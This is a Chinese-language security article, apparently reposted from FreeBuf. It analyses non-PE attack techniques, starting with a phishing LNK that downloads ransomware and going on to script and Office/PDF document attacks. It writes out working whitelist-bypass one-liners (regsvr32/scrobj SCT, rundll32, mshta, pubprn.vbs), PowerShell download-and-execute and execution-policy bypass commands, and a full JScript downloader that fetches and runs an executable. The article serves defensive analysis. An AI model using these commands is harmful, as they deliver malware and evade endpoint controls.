淺談非PE的攻擊技巧
背景
近日,金山毒霸安全中心捕獲到一例利用郵件傳播的非PE樣本,類型為lnk快捷方式文件,執行後會下載勒索病毒,最終會加密用戶機器上的文檔、圖片、視頻等重要文件。
引言
攻擊者,通過社工(社會工程),將郵件發送到受害者郵箱中,以下是攻擊者發送來的郵件。
附件即為壓縮後的樣本,解壓之後是一個單獨的lnk文件,具體信息如下圖
通過工具分離lnk參數,結果如下:
指向路徑:
C:Windowssystem32mshta.exe
傳遞參數:
about:<script src="hxxp://neya-***.ru/config.ini"></script>https://mail.ru/ hxxps://google.com / https://yandex.ru"
雙擊執行lnk文件,%temp%下生成的文件如下,其中rad96A5F.exe就是勒索病毒,
rad96A5F.exe被執行後,文檔、圖片、視頻等重要文件被加密,同時生成README文件
這是一個典型的以郵件作為傳播媒介,以非PE文件作為攻擊載荷的攻擊過程。本文將以該案例為切入點,針對現有的非PE攻擊手法進行分析與總結,內容包括腳本類型以及文檔類型攻擊,下面開始今天的正文。
正文
一、腳本攻擊
1.JScript,VBScript還是PowerShell?
JScript,由微軟開發的活動腳本語言,典型腳本後綴名.js
VBScript,基於Visual Basic程序語言的腳本語言,典型腳本後綴名稱.vbs
PowerShell,可以認為是增強型CMD,典型腳本後綴名稱.ps1
通過對16年下半年與17年上半年樣本類型進行分析, 其中JScript與VBScript的比例為7:3,以單獨文件存在的PowerShell攻擊腳本少之又少,但其在文檔攻擊中卻頗為常見。
2.對抗&繞過
2.1 猜猜我是誰
對於殺軟廠商來講,PE文件類型的識別較為容易,因為它們有固定的格式以及標記,但對於非PE樣本來講,識別文件類型是一個比較困難的問題,通常有兩種可選方案,各有優缺點,方案a: 後綴識別方案b: 特徵識別對於方案a來講,以js、vbs為例,識別的結果並不可靠,常見對抗方法:
1.將js修改為jse,vbs修改為vbe,當然也可以放在wsf腳本中
2.無後綴或者其他後綴,通過wscript //e:
方式執行
對於方案b來講,常見對抗方法:
1.腳本文件頭部,中間,尾部插入格式控制字元
2.對關鍵代碼進行編碼,混淆等操作
2.2 優雅抱大腿
白名單機制可以儘可能的減少對正常操作者的誤報情況發生,尤其在一些特定的受限環境中。所以尋找在白名單中的執行體就找到了一個」大腿」。wscript與cscript作為js,vbs腳本的宿主進程,在大多數情況下這些腳本都能順利執行,但如果在某些受限環境下,只允許白名單內的腳本文件執行,這時就需要一些白名單利用技巧,
2.2.1 regsvr32.exe
regsvr32是一個註冊動態鏈接庫的命令行工具
命令行方式
regsvr32 /u /n] dllname
常見利用技巧
regsvr32 /s /n /u /i:http://XXX/a.sct scrobj.dll
其中sct腳本腳本如下
<?XML version="1.0"?><scriptlet><registration progid="a" classid="{10001111-0000-0000-0000-0000FEEDACDC}"> <scriptlanguage="JScript"> <![CDATA[ newActiveXObject("WScript.Shell").Run("calc"); ]]></script></registration></scriptlet>
2.2.2 rundll32.exe
rundll32.exe可以運行DLL文件,使用方法如下:命令行格式:rundll32.exe
,
rundll32.exejavascript:"..mshtml,RunHTMLApplication";new%20ActiveXObject("WScript.Shell").Run("calc");window.close();
2.2.3 mshta.exe
mshta.exe作為.hta文件的宿主進程,其執行js代碼的命令行方式如下:
mshta.exe"javascript:new%20ActiveXObject("WScript.Shell").Run("calc");window.close()"
2.2.4 GetObject對象注入技術
2017年舉辦於納什維爾的BSides會議上,Casey Smith與Matt Nelson做了一個演講,當中提到了利用GetObject函數繞過受限系統的白名單防護,其中一個利用PubPrn.vbs腳本(已被微軟簽名),
中文系統位於
C:WindowsSystem32Printing_Admin_Scriptszh-CN
英文系統位於
C:WindowsSystem32Printing_Admin_Scriptsen-US
典型的利用方式如下
cscript /bC:WindowsSystem32Printing_Admin_Scriptszh-CNpubprn.vbs test"script:http://192.168.163.1/aaa.sct"
2.2.5 PowerShell Execution Policy繞過
PowerShell作為增強型CMD,其功能不可不說強大,一個簡單的下載執行代碼如下:
powershell-nop -c "iex(New-ObjectNet.WebClient).DownloadString("http://xxx/test.ps1")"
但如果遇到要執行本地文件,則可能遇到Execution Policy而被攔截,
比較流行的繞過方式如下:
方式1
powershell -nop -execbypass ./runme.ps1
方式2
type ./runme.ps1 |PowerShell.exe -noprofile -
除過上述的繞過方法,當然也存在其他的繞過方式,具體可見此處。
2.3 喜歡裝單純
當然,能夠借用白名單是比較好的,但為了保險起見,腳本自身也不能過分的表露自身意圖,免的沒有執行,就被直接幹掉。從2016起年高度爆發的通過腳本進行下載傳播敲詐者的案例數不勝數,一個典型的js下載執行代碼如下
var oShell = new ActiveXObject("WScript.Shell");var appdir = oShell.ExpandEnvironmentStrings("%temp%")+ "abc.exe";url ="http://ab.cd/e";var xmlHTTP = new ActiveXObject("Microsoft.XMLHTTP");xmlHTTP.open("Get", url, false);xmlHTTP.send();var as = new ActiveXObject("ADODB.Stream");as.Type =1;as.Open();as.write(xmlHTTP.responseBody);as.SaveToFile(appdir, 2);as.Close();oShell.Run(appdir)
通常,惡意腳本並不會這麼直接,經過簡單的替換、編碼就可以達到躲避靜態特徵分析,當然經過混淆操作能更好的掩蓋自身目的,具體混淆方式,可參考此處。在腳本行為上,目前的趨勢是「暴露儘可能少的代碼」,常見的方式是通過2段代碼分級執行,常見的第2級代碼獲取方式為聯網下載,或者是從本機環境中進行獲取(如:進程環境,註冊表,事件日誌),而第2級類型通常為一個PE文件,而目前對於第2級PE的執行方式,也漸漸從之前的直接允許轉換到延遲執行,如下:通過設置計劃任務方式在開機時執行。
3.Win10 AMSI機制
說點別的,微軟在Win10系統上開放了AMSI(Antimalware Scan Interface)介面,AMSI介面通過掃描文件,內存、數據流、URL、IP等識別惡意行為,號稱能夠讓利用windows內置host腳本隱藏或混淆的惡意腳本無所遁形。對於AMSI的具體介紹以及繞過方式可參見此處。
二、文檔攻擊
1.關於office文檔攻擊
一直以來,MicrosoftOffice 系列都是最流行的文字處理程序,並且Office系列擁有龐大的用戶群體。正因如此,攻擊者同樣也喜歡利用Office系列作為載體。其中在Office系列中Word文檔類型尤為突出。研究過程中, 我們觀察到攻擊者經常會通過電子郵件來進行傳播大量包含了惡意文檔的電子郵件,郵件內容是精心構造,以便誘導用戶點擊。
0x1、宏安全(惡意宏代碼)
抽樣統計顯示,通過執行文檔中的宏代碼,直接下載惡意程序是目前攻擊者使用的主要方式,用戶打開文檔中招後就會連接遠端下載惡意程序,從而導致用戶計算機中毒,攻擊者使用這種攻擊方式的好處是可以隨時在雲端替換下載文件,以達到自己想要的目的。
圖:
word中內嵌惡意宏代碼,遠程下載惡意程序0x2、word文件誘導下載
此外,文檔中直接捆綁惡意程序比例也較大,該類方式主要是直接將惡意程序捆綁在文檔中。
0x3、Office漏洞攻擊
典型的office CVE包含:CVE-2017-0199CVE-2017-8570 CVE-2015-1641CVE-2015-2545CVE-2012-0158
2017年3月爆出新漏洞CVE-2017-0199可謂是目前office漏洞中的No.1,該漏洞利用方法簡單,漏洞影響範圍廣,Windows操作系統之上的所有Office版本,包括在Windows 10上運行的最新Office 2016均受影響,避免這種漏洞文檔最直接的方法是及時更新補丁。
CVE-2017-0199 EXP程序中帶惡意URL
2.關於pdf文檔攻擊
PDF(攜帶型文件格式,Portable Document Format)是由Adobe Systems在1993年用於文件交換所發展出的文件格式。因為PDF的文件格式性質廣泛用於商業辦公,引起眾多攻擊者對其開展技術研究,在一些APT(Advanced Persistent Threat)攻擊中。針對特定目標投遞含有惡意代碼的PDF文檔,安全意識薄弱的用戶只要打開PDF文檔就會中招。
0x0、釋放運行
PDF中是允許包含docm文件。然後PDF中嵌入javascript代碼,釋放docm文件,並執行該文件
圖:
PDF中內嵌word文件當選擇打開文檔後,docm文件將被執行。此時,docm中內嵌的惡意宏代碼也相應的被執行
0x1、誘導下載
PDF會偽裝成office 應用下載,當你點擊下載後,很可能會是帶有惡意的文檔文件或者是惡意可執行文件
0x2、漏洞攻擊
adobe Reader、Foxit等pdf閱讀工具的漏洞攻擊也是屢見不鮮,也有攻擊者在pdf中加入惡意的payload進行攻擊
0x3、釣魚攻擊
pdf釣魚攻擊案例:與其他垃圾郵件廣告系列不同,我們在釣魚攻擊中看到的PDF不包含惡意軟體或漏洞利用代碼。相反,攻擊者會依製作高仿製的釣魚網頁,如果此時你警惕性不高,將會泄露個人的敏感信息。如下圖點擊鏈接,你將進入一個假的Apple登錄頁面,該頁面要求你輸入Apple ID 以及你的密碼信息。
圖:
偽造成APPLE官方的支付協定說點其他的:
根據金山毒霸網址安全中心提供的數據顯示,2017年虛假購物平台的釣魚攻擊,呈翻倍增漲趨勢。造成了嚴重的網路交易安全隱患,廣大網民的利益也因此受到了嚴重損害,不法分子利用虛假購物網站直接盜取用戶的支付寶或銀行賬號或者以超低價格設置消費陷阱的山寨購物網站,以低價、打折等吸引買家上當。其危害性之大,不言而喻
三、總結
與PE相比,非PE擁有更多的攻擊方式及技巧。對於殺毒軟體廠商而言,檢測與分析也極具挑戰,可以想像彼此的攻防轉換也不會有停止的那一刻,作為防守方,我們要做的還有很多。
*本文作者:漁村安全,轉載請註明來自FreeBuf.COM
※挖洞經驗 | 記一次針對Twitter(Periscope)API 的有趣挖洞經歷
※如何確定惡意軟體是否在自己的電腦中執行過?
※CVE-2017-3085:Adobe Flash泄漏Windows用戶憑證
※Xshellghost技術分析 – 入侵感染供應鏈軟體的大規模定向攻擊
TAG:FreeBuf |
※基於非瀏覽器的跨域HTTP請求攻擊
※GitChat 被惡意攻擊引發的技術性思考:拒絕服務攻擊
※攻擊者如何使用常見的MDM功能對iOS設備發起攻擊
※SYN攻擊如何利用TCP協議發動攻擊?
※研究人員發現利用PROPagate代碼注入技術的惡意攻擊活動
※極具破壞力的DDoS:淺析其攻擊及防禦!
※測試Android應用程序的逆向方法和尋找攻擊面的技巧
※OpenAI詳細解析:攻擊者是如何使用對抗樣本攻擊機器學習的
※解鎖DDOS攻擊的三種技術手段,一定得知道!
※PHP UDP攻擊查找源頭
※黑客最常用的攻擊手段之一:ARP欺騙攻擊
※OpenAI詳細解析:攻擊者是如何使用「對抗樣本」攻擊機器學習的!
※勒索軟體攻擊 HPE iLO 遠程管理界面
※淺談DDoS攻擊,何為棋牌行業的「避風港」?
※技術詳解DAG區塊鏈項目SPECTRE:圍繞一致性建設,投票機制甄別攻擊杜絕交易衝突
※多目標的攻擊活動——Prowli的技術分析
※MDS漏洞影響未消,但AMD稱其處理器不易受攻擊
※滲透測試-ARP攻擊和欺騙
※基於IPMI協議的DDoS反射攻擊分析
※INTEL CPU 再爆新漏洞難以透過瀏覽器攻擊毋需恐慌